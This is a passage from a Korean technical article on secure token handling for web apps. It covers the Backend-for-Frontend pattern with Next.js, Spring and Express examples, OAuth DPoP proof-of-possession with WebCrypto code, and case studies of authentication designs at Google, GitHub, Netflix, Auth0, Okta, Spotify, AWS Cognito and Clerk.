│                                                                             │
│   브라우저 (SPA)                BFF 서버                  API 서버          │
│  ┌──────────────┐          ┌──────────────┐          ┌──────────────┐       │
│  │              │  Cookie  │              │  Bearer   │              │       │
│  │  React /     │ ───────→ │  Node.js /   │ ───────→ │  Resource    │       │
│  │  Next.js /   │          │  Spring /    │          │  Server      │       │
│  │  Vue         │ ←─────── │  Express     │ ←─────── │              │       │
│  │              │  Cookie  │              │  JSON     │              │       │
│  └──────────────┘          └──────┬───────┘          └──────────────┘       │
│                                   │                                         │
│   토큰 없음!                      │ 토큰 저장                               │
│   HttpOnly 쿠키만                 ├── Access Token (메모리/Redis)           │
│   알고 있음                       ├── Refresh Token (메모리/Redis)          │
│                                   └── 세션 ↔ 토큰 매핑                     │
│                                                                             │
│                                                                             │
│  흐름:                                                                      │
│  1. 브라우저 → BFF: /api/data 요청 (HttpOnly 세션 쿠키 자동 포함)          │
│  2. BFF: 세션 쿠키로 사용자 식별 → 저장된 AT 조회                          │
│  3. BFF → API: Authorization: Bearer {AT} 헤더로 요청                      │
│  4. AT 만료 시: BFF가 RT로 자동 갱신 (브라우저 무관여)                     │
│  5. API → BFF → 브라우저: 응답 전달                                        │
│                                                                             │
│  핵심 이점:                                                                 │
│  ├── 브라우저에 토큰 노출 제로 (XSS로 토큰 탈취 원천 차단)                 │
│  ├── Client Secret 사용 가능 (Confidential Client)                         │
│  ├── RT Rotation/DPoP 없어도 안전 (토큰이 서버에만 존재)                   │
│  └── 복잡한 OAuth 로직을 서버에서 처리 (프론트엔드 단순화)                 │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

7.3 구현 예시: Next.js App Router

// app/api/auth/login/route.ts (Next.js App Router BFF)
import { cookies } from 'next/headers';
import { NextResponse } from 'next/server';

export async function POST(request: Request) {
  const { username, password } = await request.json();

  // 1. OAuth Authorization Server에 토큰 요청
  const tokenResponse = await fetch(`${process.env.AUTH_SERVER}/oauth/token`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: new URLSearchParams({
      grant_type: 'password',
      client_id: process.env.CLIENT_ID!,
      client_secret: process.env.CLIENT_SECRET!, // BFF는 Confidential Client!
      username,
      password,
      scope: 'openid profile',
    }),
  });

  const { access_token, refresh_token, expires_in } = await tokenResponse.json();

  // 2. 세션 생성 및 토큰 서버 사이드 저장 (Redis 등)
  const sessionId = crypto.randomUUID();
  await redis.set(`session:${sessionId}`, JSON.stringify({
    accessToken: access_token,
    refreshToken: refresh_token,
    expiresAt: Date.now() + expires_in * 1000,
  }), { EX: 30 * 24 * 60 * 60 }); // 30일

  // 3. 세션 ID만 HttpOnly 쿠키로 설정
  const cookieStore = await cookies();
  cookieStore.set('__Host-Http-SID', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/',
    maxAge: 30 * 24 * 60 * 60, // 30일
  });

  return NextResponse.json({ success: true });
}

// app/api/proxy/[...path]/route.ts (API 프록시)
export async function GET(
  request: Request,
  { params }: { params: { path: string[] } }
) {
  const cookieStore = await cookies();
  const sessionId = cookieStore.get('__Host-Http-SID')?.value;

  if (!sessionId) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // 세션에서 토큰 조회
  let session = JSON.parse(await redis.get(`session:${sessionId}`) || 'null');
  if (!session) {
    return NextResponse.json({ error: 'Session expired' }, { status: 401 });
  }

  // AT 만료 시 자동 갱신
  if (Date.now() >= session.expiresAt) {
    const refreshed = await refreshTokens(session.refreshToken);
    session = { ...session, ...refreshed };
    await redis.set(`session:${sessionId}`, JSON.stringify(session));
  }

  // API 서버에 Bearer 토큰으로 요청
  const apiPath = params.path.join('/');
  const apiResponse = await fetch(`${process.env.API_SERVER}/${apiPath}`, {
    headers: {
      Authorization: `Bearer ${session.accessToken}`,
      'Content-Type': 'application/json',
    },
  });

  return NextResponse.json(await apiResponse.json());
}

7.4 구현 예시: Spring Cloud Gateway

# application.yml (Spring Cloud Gateway + TokenRelay)
spring:
  cloud:
    gateway:
      routes:
        - id: api-service
          uri: http://api-server:8080
          predicates:
            - Path=/api/**
          filters:
            - TokenRelay  # 자동으로 세션의 AT를 Bearer 헤더로 변환
            - RemoveRequestHeader=Cookie  # 쿠키가 API 서버에 전달되지 않도록

  security:
    oauth2:
      client:
        registration:
          keycloak:
            client-id: bff-client
            client-secret: ${CLIENT_SECRET}  # Confidential Client
            authorization-grant-type: authorization_code
            scope: openid, profile
            redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
        provider:
          keycloak:
            issuer-uri: https://auth.example.com/realms/main

  session:
    store-type: redis  # 세션을 Redis에 저장
    timeout: 30m
┌─────────────────────────────────────────────────────────────────────────────┐
│  Spring Cloud Gateway TokenRelay 흐름                                       │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  1. 브라우저 → Gateway: GET /api/users (JSESSIONID 쿠키 포함)              │
│  2. Gateway: JSESSIONID로 Spring Session 조회 (Redis)                      │
│  3. Gateway: 세션에서 OAuth2AuthorizedClient 추출                          │
│  4. TokenRelay 필터: AT를 Authorization: Bearer {AT}로 변환                │
│  5. RemoveRequestHeader: Cookie 헤더 제거 (API 서버에 전달 방지)           │
│  6. Gateway → API Server: Bearer 토큰만 포함된 요청 전달                   │
│  7. AT 만료 시: Gateway가 RT로 자동 갱신 (ReactiveOAuth2AuthorizedClient)  │
│                                                                             │
│  장점:                                                                      │
│  - 코드 한 줄 없이 YAML 설정만으로 BFF 구현                                │
│  - 토큰 갱신 자동 처리                                                     │
│  - 기존 Spring Security 생태계 활용                                        │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

7.5 구현 예시: Express.js

// express-bff.js
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const passport = require('passport');
const OAuth2Strategy = require('passport-oauth2');

const app = express();

// 세션 설정
app.use(session({
  store: new RedisStore({ client: redisClient }),
  name: '__Host-Http-SID',
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/',
    maxAge: 24 * 60 * 60 * 1000, // 24시간
  },
}));

// OAuth2 전략 설정 (Confidential Client)
passport.use(new OAuth2Strategy({
    authorizationURL: 'https://auth.example.com/authorize',
    tokenURL: 'https://auth.example.com/token',
    clientID: process.env.CLIENT_ID,
    clientSecret: process.env.CLIENT_SECRET, // BFF만 가능!
    callbackURL: '/auth/callback',
  },
  (accessToken, refreshToken, profile, done) => {
    // 토큰을 세션에 저장 (브라우저에 노출하지 않음)
    done(null, { accessToken, refreshToken, profile });
  }
));

// API 프록시 미들웨어
app.use('/api', async (req, res) => {
  if (!req.user) return res.status(401).json({ error: 'Unauthorized' });

  let { accessToken, refreshToken } = req.user;

  // AT 만료 시 갱신
  if (isExpired(accessToken)) {
    const newTokens = await refreshTokens(refreshToken);
    accessToken = newTokens.access_token;
    req.user.accessToken = accessToken;
    req.user.refreshToken = newTokens.refresh_token || refreshToken;
  }

  // API 서버로 프록시
  const apiResponse = await fetch(`${API_SERVER}${req.path}`, {
    method: req.method,
    headers: {
      Authorization: `Bearer ${accessToken}`,
      'Content-Type': 'application/json',
    },
    body: ['POST', 'PUT', 'PATCH'].includes(req.method) ? JSON.stringify(req.body) : undefined,
  });

  res.status(apiResponse.status).json(await apiResponse.json());
});

7.6 Curity Token Handler 패턴

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Curity Token Handler 패턴                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Curity의 접근법: BFF를 두 개의 독립 컴포넌트로 분리                        │
│                                                                             │
│  ┌─────────────┐    ┌──────────────┐    ┌──────────────┐                    │
│  │             │    │ OAuth Agent  │    │ OAuth Proxy  │                    │
│  │  SPA        │───→│ (쿠키 발급)  │    │ (토큰 교환)  │───→ API           │
│  │  (React)    │←───│              │    │              │←─── Server        │
│  │             │    └──────────────┘    └──────────────┘                    │
│  └─────────────┘                                                            │
│                                                                             │
│  OAuth Agent:                                                               │
│  ├── OAuth 흐름 처리 (로그인, 콜백, 토큰 수신)                              │
│  ├── 토큰을 암호화하여 HttpOnly 쿠키로 분할 저장                            │
│  │   (AT → at-cookie, RT → rt-cookie, ID → id-cookie)                      │
│  └── CSRF 토큰 관리                                                        │
│                                                                             │
│  OAuth Proxy:                                                               │
│  ├── API 요청 시 쿠키에서 AT 복호화                                        │
│  ├── Authorization: Bearer 헤더로 변환                                      │
│  ├── 쿠키 제거 후 API 서버에 전달                                          │
│  └── Reverse Proxy (NGINX, Kong 등)에 플러그인으로 배포 가능               │
│                                                                             │
│  장점:                                                                      │
│  - SPA 코드 변경 최소화 (Agent는 API 엔드포인트, Proxy는 투명)             │
│  - 상태 비저장 (Stateless): Redis 불필요, 쿠키 자체가 암호화된 토큰 저장   │
│  - 기존 API Gateway에 Proxy 플러그인만 추가하면 됨                         │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

7.7 Duende BFF (.NET)

┌─────────────────────────────────────────────────────────────────────────────┐
│  Duende BFF (.NET 엔터프라이즈)                                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  .NET 생태계의 BFF 구현체 (IdentityServer의 후속)                           │
│                                                                             │
│  특징:                                                                      │
│  ├── ASP.NET Core 미들웨어로 제공                                          │
│  ├── YARP (Yet Another Reverse Proxy) 기반 API 프록시                      │
│  ├── 반자동 CSRF 방어 (X-CSRF 헤더 자동 검증)                              │
│  ├── 세션 관리 + 토큰 갱신 자동 처리                                       │
│  └── 엔터프라이즈 라이센스 (IdentityServer 통합)                           │
│                                                                             │
│  C# 설정 예시:                                                              │
│  builder.Services.AddBff();                                                │
│  builder.Services.AddAuthentication(options => {                           │
│      options.DefaultScheme = "Cookies";                                    │
│      options.DefaultChallengeScheme = "oidc";                              │
│  })                                                                        │
│  .AddCookie("Cookies", options => {                                        │
│      options.Cookie.Name = "__Host-Http-bff";                              │
│      options.Cookie.SameSite = SameSiteMode.Strict;                        │
│  })                                                                        │
│  .AddOpenIdConnect("oidc", options => { ... });                            │
│                                                                             │
│  app.MapBffManagementEndpoints(); // /bff/login, /bff/logout 등            │
│  app.MapRemoteBffApiEndpoint("/api", "https://api.example.com")            │
│     .RequireAccessToken();                                                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

8. OAuth 2.0 DPoP (Proof-of-Possession)

8.1 DPoP란?

┌─────────────────────────────────────────────────────────────────────────────┐
│                    DPoP: Demonstration of Proof-of-Possession               │
│                    RFC 9449 (2023년 9월)                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  문제: Bearer Token은 "소지한 자가 곧 소유자"                               │
│  → 토큰이 탈취되면 누구든 사용 가능                                         │
│                                                                             │
│  해결: DPoP는 토큰을 클라이언트의 암호화 키 쌍에 바인딩                      │
│  → 토큰이 탈취되어도 개인키 없이는 사용 불가                                │
│                                                                             │
│  일반 Bearer Token:                                                         │
│  ┌──────────────────────────────────────────────┐                           │
│  │  토큰 탈취 → 즉시 사용 가능 (키 불필요)      │                           │
│  └──────────────────────────────────────────────┘                           │
│                                                                             │
│  DPoP-bound Token:                                                          │
│  ┌──────────────────────────────────────────────┐                           │
│  │  토큰 탈취 → 개인키 없으면 사용 불가         │                           │
│  │  (매 요청마다 개인키로 DPoP proof 서명 필요) │                           │
│  └──────────────────────────────────────────────┘                           │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

8.2 DPoP 4단계 흐름

┌─────────────────────────────────────────────────────────────────────────────┐
│                    DPoP 전체 흐름                                            │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Step 1: 클라이언트가 키 쌍 생성                                            │
│  Step 2: DPoP Proof JWT 생성 (개인키로 서명)                                │
│  Step 3: 토큰 요청 시 DPoP 헤더에 proof 포함                               │
│  Step 4: API 요청 시 매번 새 proof 생성 (ath 포함)                         │
│                                                                             │
│  클라이언트              인가 서버              리소스 서버                  │
│     │                       │                       │                      │
│     │ 1. 키 쌍 생성         │                       │                      │
│     │ (pub + priv)          │                       │                      │
│     │                       │                       │                      │
│     │ 2. DPoP proof 생성    │                       │                      │
│     │    + 토큰 요청        │                       │                      │
│     │ ────────────────────→ │                       │                      │
│     │  POST /token          │                       │                      │
│     │  DPoP: {proof JWT}    │                       │                      │
│     │                       │ 3. proof 검증          │                      │
│     │                       │    공개키를 AT에 바인딩│                      │
│     │ ←──────────────────── │                       │                      │
│     │  token_type: "DPoP"   │                       │                      │
│     │  access_token: {AT}   │                       │                      │
│     │                       │                       │                      │
│     │ 4. API 요청 (매번 새 proof)                   │                      │
│     │ ──────────────────────────────────────────────→│                      │
│     │  Authorization: DPoP {AT}                      │                      │
│     │  DPoP: {새 proof JWT, ath=hash(AT)}           │                      │
│     │                       │                       │ 5. proof + AT 검증   │
│     │ ←─────────────────────────────────────────────│                      │
│     │  200 OK               │                       │                      │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

Step 1: 키 쌍 생성 (WebCrypto API)

// 브라우저에서 키 쌍 생성
const keyPair = await crypto.subtle.generateKey(
  {
    name: 'ECDSA',
    namedCurve: 'P-256',
  },
  false, // extractable: false → 개인키를 내보낼 수 없음!
  ['sign', 'verify']
);

// 공개키를 JWK 형식으로 추출 (DPoP proof 헤더에 포함)
const publicJwk = await crypto.subtle.exportKey('jwk', keyPair.publicKey);
// { "kty": "EC", "crv": "P-256", "x": "...", "y": "..." }

// 개인키는 IndexedDB에 저장 (extractable: false이므로 내보내기 불가)
const db = await openDB('dpop-keys', 1);
await db.put('keys', keyPair.privateKey, 'dpop-private-key');

Step 2-3: DPoP Proof 생성 및 토큰 요청

// DPoP Proof JWT 구조
const dpopProofHeader = {
  typ: 'dpop+jwt',     // 타입: DPoP proof
  alg: 'ES256',        // 서명 알고리즘
  jwk: publicJwk,      // 공개키 포함 (서버가 검증용으로 사용)
};

const dpopProofPayload = {
  jti: crypto.randomUUID(),                      // 고유 ID (재사용 방지)
  htm: 'POST',                                    // HTTP 메서드
  htu: 'https://auth.example.com/oauth/token',   // 요청 URL
  iat: Math.floor(Date.now() / 1000),             // 발급 시간
  nonce: serverProvidedNonce,                      // 서버 제공 nonce (선택)
};

// 개인키로 서명하여 DPoP proof JWT 생성
const dpopProof = await signJwt(dpopProofHeader, dpopProofPayload, keyPair.privateKey);

// 토큰 요청
const tokenResponse = await fetch('https://auth.example.com/oauth/token', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
    'DPoP': dpopProof, // DPoP proof 헤더
  },
  body: new URLSearchParams({
    grant_type: 'authorization_code',
    code: authCode,
    code_verifier: pkceVerifier,
    client_id: 'spa-client',
  }),
});

const { access_token, token_type } = await tokenResponse.json();
// token_type: "DPoP" (Bearer가 아님!)

Step 4: API 요청 시 DPoP proof 포함

// 매 API 요청마다 새 DPoP proof 생성
async function dpopApiCall(url, method = 'GET') {
  // AT의 SHA-256 해시 (ath claim)
  const atHash = await sha256(accessToken);

  const proof = await createDpopProof({
    htm: method,
    htu: url,
    ath: atHash, // Access Token Hash → AT와 proof를 바인딩
  });

  return fetch(url, {
    method,
    headers: {
      Authorization: `DPoP ${accessToken}`, // Bearer 대신 DPoP
      DPoP: proof,
    },
  });
}

8.3 DPoP vs mTLS 비교

┌──────────────────────────────────────────────────────────────────────────────────┐
│                    DPoP vs mTLS 비교                                             │
├────────────────┬──────────────────────────────┬──────────────────────────────────┤
│ 항목            │ DPoP                         │ mTLS                            │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 표준            │ RFC 9449 (2023)              │ RFC 8705 (2020)                 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 바인딩 수준     │ Application Layer (HTTP)     │ Transport Layer (TLS)           │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 인증서 필요     │ ❌ 자체 생성 키 쌍           │ ✅ X.509 인증서 필요            │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 브라우저 지원   │ ✅ WebCrypto API로 구현      │ ❌ 브라우저 인증서 관리 어려움   │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 프록시 통과     │ ✅ HTTP 헤더이므로 통과      │ ⚠️ TLS 종료 시 바인딩 손실      │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 적합 환경       │ SPA, 모바일 앱               │ 서버 간 통신, 서비스 메시       │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 구현 복잡도     │ 중간 (JWT 서명)              │ 높음 (PKI 인프라 필요)          │
└────────────────┴──────────────────────────────┴──────────────────────────────────┘

8.4 DPoP 채택 현황 (2025-2026)

┌─────────────────────────────────────────────────────────────────────────────┐
│                    DPoP 벤더 지원 현황                                       │
├────────────────────┬──────────────────────┬────────────────────────────────┤
│ 제품/서비스         │ DPoP 지원 상태        │ 비고                          │
├────────────────────┼──────────────────────┼────────────────────────────────┤
│ Keycloak           │ ✅ 26.4+ (프로덕션)  │ 기본 설정으로 활성화 가능     │
│ Okta               │ ✅ 프로덕션 지원      │ 2024년부터 GA                 │
│ Auth0              │ ⚠️ Early Access       │ 일부 플랜에서 사용 가능       │
│ Microsoft Entra ID │ ❌ 미지원             │ 로드맵에 포함되어 있으나 미정 │
│ Ping Identity      │ ✅ 프로덕션 지원      │ PingFederate 12+             │
│ Curity             │ ✅ 프로덕션 지원      │ Token Handler와 통합         │
│ Spring Auth Server │ ✅ 1.3+ (프로덕션)   │ Spring Security 6.3+         │
└────────────────────┴──────────────────────┴────────────────────────────────┘

9. 대기업 인증 구현 사례

9.1 Google

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Google 인증 아키텍처                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  멀티 쿠키 시스템 (accounts.google.com):                                    │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ SID    - 기본 세션 ID (HttpOnly, Secure)                          │     │
│  │ HSID   - HTTP 전용 보안 세션 (HttpOnly)                           │     │
│  │ SSID   - Secure 전용 세션 (Secure + HttpOnly)                     │     │
│  │ APISID - API 호출용 (Secure)                                      │     │
│  │ SAPISID - Same-site API 인증용                                    │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  SAPISIDHASH Origin 검증:                                                   │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ Authorization: SAPISIDHASH {timestamp}_{hash}                     │     │
│  │                                                                    │     │
│  │ hash = SHA-1(timestamp + " " + SAPISID + " " + origin)           │     │
│  │                                                                    │     │
│  │ - 타임스탬프: 요청 시점 (재사용 방지)                              │     │
│  │ - SAPISID: 쿠키 값 (사용자 인증)                                  │     │
│  │ - Origin: 요청 출처 (도메인 바인딩)                               │     │
│  │                                                                    │     │
│  │ → Origin이 해시에 포함되어 있어 다른 도메인에서 재사용 불가        │     │
│  │ → DPoP 이전의 자체적 토큰 바인딩 메커니즘                         │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  OAuth 2.0 / OIDC:                                                          │
│  - RS256 서명 JWT ID Token                                                 │
│  - Access Token: 1시간 수명                                                │
│  - Refresh Token: 6개월 (비활성 시 자동 만료)                              │
│  - PKCE 지원, Implicit Grant 비권장                                        │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.2 GitHub

┌─────────────────────────────────────────────────────────────────────────────┐
│                    GitHub 인증 아키텍처                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  세션 쿠키:                                                                 │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ __Host-user_session_same_site = {encrypted_session}               │     │
│  │   HttpOnly; Secure; SameSite=Strict; Path=/                       │     │
│  │                                                                    │     │
│  │ __Host- 접두사 사용 이유:                                          │     │
│  │ → Cookie Tossing 방어                                              │     │
│  │ → 서브도메인(*.github.com)에서 세션 쿠키 덮어쓰기 방지             │     │
│  │ → GitHub Pages (*.github.io)에서의 쿠키 조작 차단                  │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Fine-Grained Personal Access Token (PAT):                                  │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ - 50개 이상의 세분화된 권한 (repository, issues, PR, actions 등)   │     │
│  │ - 필수 만료일 설정 (최대 1년, 무기한 불가)                         │     │
│  │ - Organization 승인 필요 (관리자가 허용해야 사용 가능)             │     │
│  │ - IP 허용 목록 설정 가능                                          │     │
│  │ - Classic PAT 대비 최소 권한 원칙 적용                             │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  GitHub App Installation Token:                                             │
│  - JWT로 앱 인증 → Installation Token 발급 (1시간 수명)                    │
│  - 설치된 저장소에만 접근 가능 (최소 권한)                                  │
│  - 조직 수준 권한 관리                                                     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.3 Netflix

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Netflix 인증 아키텍처                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Edge Authentication Service (EAS) + Passport 패턴:                         │
│                                                                             │
│  클라이언트      Zuul Gateway          내부 서비스들                        │
│  ┌─────────┐    ┌──────────────┐      ┌──────────────┐                     │
│  │         │    │              │      │ 사용자 서비스│                     │
│  │ 브라우저│───→│  Zuul + EAS  │─────→│              │                     │
│  │ / 앱    │    │              │      ├──────────────┤                     │
│  │         │←───│  토큰 종료   │      │ 추천 서비스  │                     │
│  │         │    │  Passport 발급│     │              │                     │
│  └─────────┘    └──────┬───────┘      ├──────────────┤                     │
│                        │              │ 결제 서비스  │                     │
│                        │              └──────────────┘                     │
│                        │                                                   │
│           ┌────────────▼────────────┐                                      │
│           │     Passport 구조       │                                      │
│           ├─────────────────────────┤                                      │
│           │ - Protobuf 직렬화       │                                      │
│           │ - HMAC 서명 (무결성)    │                                      │
│           │ - 사용자 ID             │                                      │
│           │ - 디바이스 정보         │                                      │
│           │ - 국가/리전             │                                      │
│           │ - 구독 정보             │                                      │
│           └─────────────────────────┘                                      │
│                                                                             │
│  핵심 원칙:                                                                │
│  1. 외부 토큰(쿠키/OAuth)은 Edge(Zuul)에서 종료                            │
│     → 내부 서비스는 외부 토큰 형식을 모름                                  │
│  2. Passport라는 내부 전용 인증 컨텍스트 전파                              │
│     → Protobuf 기반, HMAC 서명으로 변조 방지                               │
│  3. 하위 서비스는 토큰 검증 불필요 (Token-Agnostic)                        │
│     → Passport만 파싱하면 사용자 정보 접근 가능                             │
│  4. 토큰 형식 변경 시 Gateway만 수정 (하위 서비스 무영향)                  │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.4 Auth0

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Auth0 SPA SDK 인증 아키텍처                               │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  2025 Auth0 SPA 권장 구조:                                                  │
│                                                                             │
│  Access Token  → In-Memory (Web Worker 권장)                               │
│  Refresh Token → Rotation + HttpOnly 쿠키 (또는 In-Memory)                 │
│  OAuth Flow    → Authorization Code + PKCE only                            │
│                                                                             │
│  핵심 변화:                                                                │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 과거 (2020 이전):                                                 │     │
│  │ - iframe 기반 Silent Authentication (prompt=none)                 │     │
│  │ - 서드파티 쿠키로 인가 서버 세션 확인                             │     │
│  │ - 페이지 새로고침 시 iframe으로 새 AT 발급                        │     │
│  │                                                                    │     │
│  │ 현재 (2025):                                                      │     │
│  │ - Silent Auth 공식 비권장 (서드파티 쿠키 차단)                    │     │
│  │ - Refresh Token Rotation 사용                                     │     │
│  │ - useRefreshTokens: true (SDK 기본 설정)                          │     │
│  │ - cacheLocation: 'memory' (기본, localStorage 비권장)             │     │
│  │ - useRefreshTokensFallback: false (silent auth 폴백 비활성화)     │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Reuse Detection 설정:                                                     │
│  Auth0 Dashboard > Settings > Rotation > Enable Reuse Detection            │
│  → 재사용 감지 시 자동으로 Token Family 전체 무효화                        │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.5 Okta

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Okta 인증 아키텍처 변화                                   │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  쿠키 마이그레이션:                                                         │
│  ├── 과거: sid 쿠키 (Okta 세션)                                            │
│  └── 현재: idx 쿠키 (Identity Engine 기반)                                 │
│                                                                             │
│  Silent Auth → Refresh Token 전환:                                         │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 과거:                                                              │     │
│  │ - iframe에서 /authorize?prompt=none으로 AT 갱신                    │     │
│  │ - Okta sid 쿠키(서드파티)로 세션 확인                              │     │
│  │                                                                    │     │
│  │ 현재:                                                              │     │
│  │ - offline_access 스코프로 RT 발급                                  │     │
│  │ - RT로 AT 갱신 (서드파티 쿠키 불필요)                              │     │
│  │ - Token Rotation 기본 활성화                                       │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  Okta SPA SDK 설정:                                                        │
│  const oktaAuth = new OktaAuth({                                           │
│    issuer: 'https://dev-xxx.okta.com/oauth2/default',                      │
│    clientId: 'spa-client-id',                                              │
│    redirectUri: window.location.origin + '/callback',                       │
│    scopes: ['openid', 'profile', 'offline_access'], // RT 발급             │
│    tokenManager: {                                                         │
│      storage: 'memory', // 메모리 저장 권장                                │
│    },                                                                      │
│  });                                                                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.6 Spotify

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Spotify 인증 변화 (2025)                                  │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  2025년 11월 주요 변경사항:                                                 │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ 1. Implicit Grant 완전 제거                                       │     │
│  │    → PKCE가 유일한 공개 클라이언트 흐름                            │     │
│  │                                                                    │     │
│  │ 2. HTTP Redirect URI 제거                                          │     │
│  │    → HTTPS만 허용 (localhost 제외)                                 │     │
│  │                                                                    │     │
│  │ 3. Access Token: Opaque 형식, 1시간 수명                          │     │
│  │    → JWT가 아닌 Opaque Token 사용 (서버 측 검증)                  │     │
│  │                                                                    │     │
│  │ 4. PKCE 필수화                                                    │     │
│  │    → code_verifier/code_challenge 없이는 토큰 발급 거부           │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.7 AWS Cognito

┌─────────────────────────────────────────────────────────────────────────────┐
│                    AWS Cognito 토큰 아키텍처                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  Triple Token 구조:                                                        │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ ID Token (JWT, RS256)                                              │     │
│  │ ├── 사용자 프로필 정보 포함 (name, email, custom attributes)       │     │
│  │ ├── 프론트엔드에서 사용자 정보 표시용                              │     │
│  │ └── API 인증에 사용하면 안 됨! (OIDC 표준 위반)                   │     │
│  │                                                                    │     │
│  │ Access Token (JWT, RS256)                                          │     │
│  │ ├── scope, groups, client_id 포함                                  │     │
│  │ ├── API Gateway / Resource Server 인증용                          │     │
│  │ └── 기본 1시간 수명 (5분~24시간 설정 가능)                        │     │
│  │                                                                    │     │
│  │ Refresh Token (Opaque)                                             │     │
│  │ ├── Cognito User Pool에서만 사용 가능                              │     │
│  │ ├── 기본 30일 수명 (1시간~10년 설정 가능)                         │     │
│  │ └── 서버 사이드 저장, 즉시 폐기 가능                              │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
│  AWS Amplify v6 저장 전략:                                                  │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │ Amplify.configure({                                                │     │
│  │   Auth: {                                                          │     │
│  │     Cognito: {                                                     │     │
│  │       userPoolId: 'us-east-1_xxx',                                 │     │
│  │       userPoolClientId: 'xxx',                                     │     │
│  │     }                                                              │     │
│  │   }                                                                │     │
│  │ }, {                                                               │     │
│  │   // 플러그형 저장소 선택                                          │     │
│  │   storage: localStorage,       // 기본값 (SPA)                     │     │
│  │   // storage: sessionStorage,  // 탭별 격리                        │     │
│  │   // storage: cookieStorage,   // SSR용 (자동 선택)                │     │
│  │   // storage: customStorage,   // 커스텀 구현                      │     │
│  │ });                                                                │     │
│  │                                                                    │     │
│  │ SSR 모드 (Next.js):                                                │     │
│  │ → Amplify가 자동으로 CookieStorage 선택                           │     │
│  │ → 서버에서 쿠키로 토큰 접근 가능                                  │     │
│  └────────────────────────────────────────────────────────────────────┘     │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

9.8 Clerk

┌─────────────────────────────────────────────────────────────────────────────┐
│                    Clerk 하이브리드 인증 아키텍처                             │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│  핵심 아이디어: 60초 단기 JWT + 상태 기반 세션                              │
│                                                                             │
│  ┌────────────────────────────────────────────────────────────────────┐     │
│  │                                                                    │     │
│  │  __client_uat 쿠키 (세션 활성 타임스탬프)                          │     │
│  │       │                                                            │     │
│  │       ▼                                                            │     │
│  │  브라우저 → Clerk Frontend API: "세션 살아있나?"                   │     │
│  │       │                                                            │     │
│  │       ▼                                                            │     │
│  │  60초 단기 JWT 발급 (서명 검증만으로 인증)                         │     │
│  │       │                                                            │     │
│  │       ├── 50초 시점: 백그라운드 폴러가 새 JWT 갱신                │     │
│  │       │   (사용자 무관여, Web Worker 또는 setInterval)             │     │
│  │       │                                                            │     │
│  │       └── JWT 포함 정보:                                          │     │
│  │           - sub (사용자 ID)                                       │     │
│  │           - org_id (조직)                                         │     │
│  │           - permissions                                           │     │
│  │           - exp (60초 후)                                         │     │
│  │                                                                    │     │
